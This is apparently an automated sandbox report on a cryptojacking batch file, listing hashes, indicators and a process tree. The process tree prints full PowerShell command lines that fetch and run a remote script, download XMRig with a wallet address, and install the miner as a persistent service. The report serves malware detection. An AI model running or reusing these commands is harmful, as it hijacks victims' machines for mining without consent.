Analysis
-
max time kernel
150s -
max time network
138s -
platform
windows10-1703_x64 -
resource
win10-20240404-en -
resource tags
arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system -
submitted
01-07-2024 03:32
Static task
static1
Behavioral task
behavioral1
Sample
1304792021915.bat
Resource
win10-20240404-en
General
-
Target
1304792021915.bat
-
Size
517B
-
MD5
ac9d73455d58bfa42f81e718b8c8d6b5
-
SHA1
60040fff333b7bc09b22e5c013f11b8a99555ed3
-
SHA256
4a084dd6b556a67848483a5763f8d3eebadc0527f804f102f7f944b23b31cb12
-
SHA512
ad24994554a8e6bb68f5ca80b1c53379f7a577964165f56d2f6bef14340fec3d0f17d14faa2db4651776a83bd5686f26ee59080ee2a16d0468b8d38504e460b2
Malware Config
Extracted
https://rentry.co/regele/raw
Extracted
https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/xmrig.zip
Extracted
https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/nssm.zip
Signatures
-
XMRig Miner payload 16 IoCs
Processes:
resource yara_rule C:\Users\Admin\moneroocean\xmrig.exe family_xmrig C:\Users\Admin\moneroocean\xmrig.exe xmrig behavioral1/memory/3852-131-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/1732-413-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/1732-414-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/1732-415-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/1732-416-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/1732-417-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/1732-418-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/1732-419-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/1732-420-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/1732-421-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/1732-422-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/1732-423-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/1732-424-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/1732-425-0x0000000000400000-0x000000000102B000-memory.dmp xmrig -
Blocklisted process makes network request 3 IoCs
Processes:
powershell.exepowershell.exepowershell.exeflow pid process 2 4044 powershell.exe 5 4144 powershell.exe 7 4956 powershell.exe -
Executes dropped EXE 9 IoCs
Processes:
xmrig.exenssm.exenssm.exenssm.exenssm.exenssm.exenssm.exenssm.exexmrig.exepid process 3852 xmrig.exe 4528 nssm.exe 4104 nssm.exe 660 nssm.exe 2212 nssm.exe 4604 nssm.exe 4300 nssm.exe 2636 nssm.exe 1732 xmrig.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
Processes:
flow ioc 4 raw.githubusercontent.com 5 raw.githubusercontent.com 7 raw.githubusercontent.com -
Launches sc.exe 4 IoCs
Sc.exe is a Windows utlilty to control services on the system.
Processes:
sc.exesc.exesc.exesc.exepid process 1500 sc.exe 3164 sc.exe 316 sc.exe 4092 sc.exe -
Processes:
powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepid process 4160 powershell.exe 2328 powershell.exe 4044 powershell.exe 3712 powershell.exe 1824 powershell.exe 4460 powershell.exe 4144 powershell.exe 1368 powershell.exe 4208 powershell.exe 5068 powershell.exe 3416 powershell.exe 4700 powershell.exe 4956 powershell.exe -
Delays execution with timeout.exe 64 IoCs
Processes:
timeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exepid process 3300 timeout.exe 488 timeout.exe 4264 timeout.exe 2440 timeout.exe 4044 timeout.exe 3756 timeout.exe 2944 timeout.exe 3240 timeout.exe 3848 timeout.exe 96 timeout.exe 3280 timeout.exe 1796 timeout.exe 1464 timeout.exe 2464 timeout.exe 2280 timeout.exe 3104 timeout.exe 4356 timeout.exe 4696 timeout.exe 3420 timeout.exe 4248 timeout.exe 3240 timeout.exe 2152 timeout.exe 3156 timeout.exe 4288 timeout.exe 892 timeout.exe 2516 timeout.exe 4340 timeout.exe 3572 timeout.exe 4852 timeout.exe 3424 timeout.exe 64 timeout.exe 1136 timeout.exe 4536 timeout.exe 1436 timeout.exe 4788 timeout.exe 1892 timeout.exe 5100 timeout.exe 488 timeout.exe 4880 timeout.exe 4948 timeout.exe 4284 timeout.exe 5080 timeout.exe 1840 timeout.exe 4248 timeout.exe 4424 timeout.exe 2004 timeout.exe 4160 timeout.exe 3712 timeout.exe 3312 timeout.exe 4252 timeout.exe 3396 timeout.exe 5100 timeout.exe 4316 timeout.exe 4944 timeout.exe 4900 timeout.exe 1352 timeout.exe 4840 timeout.exe 4144 timeout.exe 1856 timeout.exe 4332 timeout.exe 1920 timeout.exe 5060 timeout.exe 816 timeout.exe 1280 timeout.exe -
Kills process with taskkill 1 IoCs
Processes:
taskkill.exepid process 4008 taskkill.exe -
Runs net.exe
-
Suspicious behavior: EnumeratesProcesses 39 IoCs
Processes:
powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepid process 4044 powershell.exe 4044 powershell.exe 4044 powershell.exe 4144 powershell.exe 4144 powershell.exe 4144 powershell.exe 1368 powershell.exe 1368 powershell.exe 1368 powershell.exe 4208 powershell.exe 4208 powershell.exe 4208 powershell.exe 3416 powershell.exe 3416 powershell.exe 3416 powershell.exe 4700 powershell.exe 4700 powershell.exe 4700 powershell.exe 4160 powershell.exe 4160 powershell.exe 4160 powershell.exe 2328 powershell.exe 2328 powershell.exe 2328 powershell.exe 3712 powershell.exe 3712 powershell.exe 3712 powershell.exe 5068 powershell.exe 5068 powershell.exe 5068 powershell.exe 1824 powershell.exe 1824 powershell.exe 1824 powershell.exe 4956 powershell.exe 4956 powershell.exe 4956 powershell.exe 4460 powershell.exe 4460 powershell.exe 4460 powershell.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
Processes:
powershell.exetaskkill.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exexmrig.exeWMIC.exeWMIC.exedescription pid process Token: SeDebugPrivilege 4044 powershell.exe Token: SeDebugPrivilege 4008 taskkill.exe Token: SeDebugPrivilege 4144 powershell.exe Token: SeDebugPrivilege 1368 powershell.exe Token: SeDebugPrivilege 4208 powershell.exe Token: SeDebugPrivilege 3416 powershell.exe Token: SeDebugPrivilege 4700 powershell.exe Token: SeDebugPrivilege 4160 powershell.exe Token: SeDebugPrivilege 2328 powershell.exe Token: SeDebugPrivilege 3712 powershell.exe Token: SeDebugPrivilege 5068 powershell.exe Token: SeDebugPrivilege 1824 powershell.exe Token: SeDebugPrivilege 4956 powershell.exe Token: SeDebugPrivilege 4460 powershell.exe Token: SeLockMemoryPrivilege 1732 xmrig.exe Token: SeIncreaseQuotaPrivilege 4564 WMIC.exe Token: SeSecurityPrivilege 4564 WMIC.exe Token: SeTakeOwnershipPrivilege 4564 WMIC.exe Token: SeLoadDriverPrivilege 4564 WMIC.exe Token: SeSystemProfilePrivilege 4564 WMIC.exe Token: SeSystemtimePrivilege 4564 WMIC.exe Token: SeProfSingleProcessPrivilege 4564 WMIC.exe Token: SeIncBasePriorityPrivilege 4564 WMIC.exe Token: SeCreatePagefilePrivilege 4564 WMIC.exe Token: SeBackupPrivilege 4564 WMIC.exe Token: SeRestorePrivilege 4564 WMIC.exe Token: SeShutdownPrivilege 4564 WMIC.exe Token: SeDebugPrivilege 4564 WMIC.exe Token: SeSystemEnvironmentPrivilege 4564 WMIC.exe Token: SeRemoteShutdownPrivilege 4564 WMIC.exe Token: SeUndockPrivilege 4564 WMIC.exe Token: SeManageVolumePrivilege 4564 WMIC.exe Token: 33 4564 WMIC.exe Token: 34 4564 WMIC.exe Token: 35 4564 WMIC.exe Token: 36 4564 WMIC.exe Token: SeIncreaseQuotaPrivilege 4564 WMIC.exe Token: SeSecurityPrivilege 4564 WMIC.exe Token: SeTakeOwnershipPrivilege 4564 WMIC.exe Token: SeLoadDriverPrivilege 4564 WMIC.exe Token: SeSystemProfilePrivilege 4564 WMIC.exe Token: SeSystemtimePrivilege 4564 WMIC.exe Token: SeProfSingleProcessPrivilege 4564 WMIC.exe Token: SeIncBasePriorityPrivilege 4564 WMIC.exe Token: SeCreatePagefilePrivilege 4564 WMIC.exe Token: SeBackupPrivilege 4564 WMIC.exe Token: SeRestorePrivilege 4564 WMIC.exe Token: SeShutdownPrivilege 4564 WMIC.exe Token: SeDebugPrivilege 4564 WMIC.exe Token: SeSystemEnvironmentPrivilege 4564 WMIC.exe Token: SeRemoteShutdownPrivilege 4564 WMIC.exe Token: SeUndockPrivilege 4564 WMIC.exe Token: SeManageVolumePrivilege 4564 WMIC.exe Token: 33 4564 WMIC.exe Token: 34 4564 WMIC.exe Token: 35 4564 WMIC.exe Token: 36 4564 WMIC.exe Token: SeIncreaseQuotaPrivilege 1832 WMIC.exe Token: SeSecurityPrivilege 1832 WMIC.exe Token: SeTakeOwnershipPrivilege 1832 WMIC.exe Token: SeLoadDriverPrivilege 1832 WMIC.exe Token: SeSystemProfilePrivilege 1832 WMIC.exe Token: SeSystemtimePrivilege 1832 WMIC.exe Token: SeProfSingleProcessPrivilege 1832 WMIC.exe -
Suspicious use of FindShellTrayWindow 1 IoCs
Processes:
xmrig.exepid process 1732 xmrig.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
cmd.exepowershell.execmd.exenet.execmd.exepowershell.exedescription pid process target process PID 4364 wrote to memory of 4044 4364 cmd.exe powershell.exe PID 4364 wrote to memory of 4044 4364 cmd.exe powershell.exe PID 4044 wrote to memory of 200 4044 powershell.exe cmd.exe PID 4044 wrote to memory of 200 4044 powershell.exe cmd.exe PID 200 wrote to memory of 4796 200 cmd.exe net.exe PID 200 wrote to memory of 4796 200 cmd.exe net.exe PID 4796 wrote to memory of 68 4796 net.exe net1.exe PID 4796 wrote to memory of 68 4796 net.exe net1.exe PID 200 wrote to memory of 1852 200 cmd.exe where.exe PID 200 wrote to memory of 1852 200 cmd.exe where.exe PID 200 wrote to memory of 4420 200 cmd.exe where.exe PID 200 wrote to memory of 4420 200 cmd.exe where.exe PID 200 wrote to memory of 2636 200 cmd.exe nssm.exe PID 200 wrote to memory of 2636 200 cmd.exe nssm.exe PID 200 wrote to memory of 1356 200 cmd.exe where.exe PID 200 wrote to memory of 1356 200 cmd.exe where.exe PID 200 wrote to memory of 508 200 cmd.exe where.exe PID 200 wrote to memory of 508 200 cmd.exe where.exe PID 200 wrote to memory of 1500 200 cmd.exe sc.exe PID 200 wrote to memory of 1500 200 cmd.exe sc.exe PID 200 wrote to memory of 3164 200 cmd.exe sc.exe PID 200 wrote to memory of 3164 200 cmd.exe sc.exe PID 200 wrote to memory of 4008 200 cmd.exe taskkill.exe PID 200 wrote to memory of 4008 200 cmd.exe taskkill.exe PID 200 wrote to memory of 4144 200 cmd.exe powershell.exe PID 200 wrote to memory of 4144 200 cmd.exe powershell.exe PID 200 wrote to memory of 1368 200 cmd.exe powershell.exe PID 200 wrote to memory of 1368 200 cmd.exe powershell.exe PID 200 wrote to memory of 4208 200 cmd.exe powershell.exe PID 200 wrote to memory of 4208 200 cmd.exe powershell.exe PID 200 wrote to memory of 3852 200 cmd.exe xmrig.exe PID 200 wrote to memory of 3852 200 cmd.exe xmrig.exe PID 200 wrote to memory of 1884 200 cmd.exe cmd.exe PID 200 wrote to memory of 1884 200 cmd.exe cmd.exe PID 1884 wrote to memory of 3416 1884 cmd.exe powershell.exe PID 1884 wrote to memory of 3416 1884 cmd.exe powershell.exe PID 3416 wrote to memory of 2372 3416 powershell.exe HOSTNAME.EXE PID 3416 wrote to memory of 2372 3416 powershell.exe HOSTNAME.EXE PID 200 wrote to memory of 4700 200 cmd.exe powershell.exe PID 200 wrote to memory of 4700 200 cmd.exe powershell.exe PID 200 wrote to memory of 4160 200 cmd.exe powershell.exe PID 200 wrote to memory of 4160 200 cmd.exe powershell.exe PID 200 wrote to memory of 2328 200 cmd.exe powershell.exe PID 200 wrote to memory of 2328 200 cmd.exe powershell.exe PID 200 wrote to memory of 3712 200 cmd.exe powershell.exe PID 200 wrote to memory of 3712 200 cmd.exe powershell.exe PID 200 wrote to memory of 5068 200 cmd.exe powershell.exe PID 200 wrote to memory of 5068 200 cmd.exe powershell.exe PID 200 wrote to memory of 1824 200 cmd.exe powershell.exe PID 200 wrote to memory of 1824 200 cmd.exe powershell.exe PID 200 wrote to memory of 4956 200 cmd.exe powershell.exe PID 200 wrote to memory of 4956 200 cmd.exe powershell.exe PID 200 wrote to memory of 4460 200 cmd.exe WMIC.exe PID 200 wrote to memory of 4460 200 cmd.exe WMIC.exe PID 200 wrote to memory of 316 200 cmd.exe sc.exe PID 200 wrote to memory of 316 200 cmd.exe sc.exe PID 200 wrote to memory of 4092 200 cmd.exe sc.exe PID 200 wrote to memory of 4092 200 cmd.exe sc.exe PID 200 wrote to memory of 4528 200 cmd.exe cmd.exe PID 200 wrote to memory of 4528 200 cmd.exe cmd.exe PID 200 wrote to memory of 4104 200 cmd.exe nssm.exe PID 200 wrote to memory of 4104 200 cmd.exe nssm.exe PID 200 wrote to memory of 660 200 cmd.exe nssm.exe PID 200 wrote to memory of 660 200 cmd.exe nssm.exe
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\1304792021915.bat"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$wc = New-Object System.Net.WebClient; $tempfile = [System.IO.Path]::GetTempFileName(); $tempfile += '.bat'; $wc.DownloadFile('https://rentry.co/regele/raw', $tempfile); & $tempfile 42cRnHwcKM6bmza8jmWyvWB2tjAcxQGmJ1QHhJ9ae55qRx488q6cvAU42EKkEiEd2N9TE1UjNViUSNVqV1NJ17R79fDhjVL; Remove-Item -Force $tempfile"2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp6206.tmp.bat" 42cRnHwcKM6bmza8jmWyvWB2tjAcxQGmJ1QHhJ9ae55qRx488q6cvAU42EKkEiEd2N9TE1UjNViUSNVqV1NJ17R79fDhjVL"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\net.exenet session4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 session5⤵
-
C:\Windows\system32\where.exewhere powershell4⤵
-
C:\Windows\system32\where.exewhere find4⤵
-
C:\Windows\system32\where.exewhere findstr4⤵
-
C:\Windows\system32\where.exewhere tasklist4⤵
-
C:\Windows\system32\where.exewhere sc4⤵
-
C:\Windows\system32\sc.exesc stop moneroocean_miner4⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc delete moneroocean_miner4⤵
- Launches sc.exe
-
C:\Windows\system32\taskkill.exetaskkill /f /t /im xmrig.exe4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$wc = New-Object System.Net.WebClient; $wc.DownloadFile('https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/xmrig.zip', 'C:\Users\Admin\xmrig.zip')"4⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:\Users\Admin\xmrig.zip', 'C:\Users\Admin\moneroocean')"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$out = cat 'C:\Users\Admin\moneroocean\config.json' | %{$_ -replace '\"donate-level\": *\d*,', '\"donate-level\": 1,'} | Out-String; $out | Out-File -Encoding ASCII 'C:\Users\Admin\moneroocean\config.json'"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\moneroocean\xmrig.exe"C:\Users\Admin\moneroocean\xmrig.exe" --help4⤵
- Executes dropped EXE
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c powershell -Command "hostname | %{$_ -replace '[^a-zA-Z0-9]+', '_'}"4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "hostname | %{$_ -replace '[^a-zA-Z0-9]+', '_'}"5⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\HOSTNAME.EXE"C:\Windows\system32\HOSTNAME.EXE"6⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$out = cat 'C:\Users\Admin\moneroocean\config.json' | %{$_ -replace '\"url\": *\".*\",', '\"url\": \"gulf.moneroocean.stream:10004 \",'} | Out-String; $out | Out-File -Encoding ASCII 'C:\Users\Admin\moneroocean\config.json'"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$out = cat 'C:\Users\Admin\moneroocean\config.json' | %{$_ -replace '\"user\": *\".*\",', '\"user\": \"42cRnHwcKM6bmza8jmWyvWB2tjAcxQGmJ1QHhJ9ae55qRx488q6cvAU42EKkEiEd2N9TE1UjNViUSNVqV1NJ17R79fDhjVL\",'} | Out-String; $out | Out-File -Encoding ASCII 'C:\Users\Admin\moneroocean\config.json'"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$out = cat 'C:\Users\Admin\moneroocean\config.json' | %{$_ -replace '\"pass\": *\".*\",', '\"pass\": \"Uoklywyh\",'} | Out-String; $out | Out-File -Encoding ASCII 'C:\Users\Admin\moneroocean\config.json'"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$out = cat 'C:\Users\Admin\moneroocean\config.json' | %{$_ -replace '\"max-cpu-usage\": *\d*,', '\"max-cpu-usage\": 100,'} | Out-String; $out | Out-File -Encoding ASCII 'C:\Users\Admin\moneroocean\config.json'"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$out = cat 'C:\Users\Admin\moneroocean\config.json' | %{$_ -replace '\"log-file\": *null,', '\"log-file\": \"C:\\Users\\Admin\\moneroocean\\xmrig.log\",'} | Out-String; $out | Out-File -Encoding ASCII 'C:\Users\Admin\moneroocean\config.json'"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$out = cat 'C:\Users\Admin\moneroocean\config_background.json' | %{$_ -replace '\"background\": *false,', '\"background\": true,'} | Out-String; $out | Out-File -Encoding ASCII 'C:\Users\Admin\moneroocean\config_background.json'"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$wc = New-Object System.Net.WebClient; $wc.DownloadFile('https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/nssm.zip', 'C:\Users\Admin\nssm.zip')"4⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:\Users\Admin\nssm.zip', 'C:\Users\Admin\moneroocean')"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\sc.exesc stop moneroocean_miner4⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc delete moneroocean_miner4⤵
- Launches sc.exe
-
C:\Users\Admin\moneroocean\nssm.exe"C:\Users\Admin\moneroocean\nssm.exe" install moneroocean_miner "C:\Users\Admin\moneroocean\xmrig.exe"4⤵
- Executes dropped EXE
-
C:\Users\Admin\moneroocean\nssm.exe"C:\Users\Admin\moneroocean\nssm.exe" set moneroocean_miner AppDirectory "C:\Users\Admin\moneroocean"4⤵
- Executes dropped EXE
-
C:\Users\Admin\moneroocean\nssm.exe"C:\Users\Admin\moneroocean\nssm.exe" set moneroocean_miner AppPriority BELOW_NORMAL_PRIORITY_CLASS4⤵
- Executes dropped EXE
-
C:\Users\Admin\moneroocean\nssm.exe"C:\Users\Admin\moneroocean\nssm.exe" set moneroocean_miner AppStdout "C:\Users\Admin\moneroocean\stdout"4⤵
- Executes dropped EXE
-
C:\Users\Admin\moneroocean\nssm.exe"C:\Users\Admin\moneroocean\nssm.exe" set moneroocean_miner AppStderr "C:\Users\Admin\moneroocean\stderr"4⤵
- Executes dropped EXE
-
C:\Users\Admin\moneroocean\nssm.exe"C:\Users\Admin\moneroocean\nssm.exe" start moneroocean_miner4⤵
- Executes dropped EXE
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
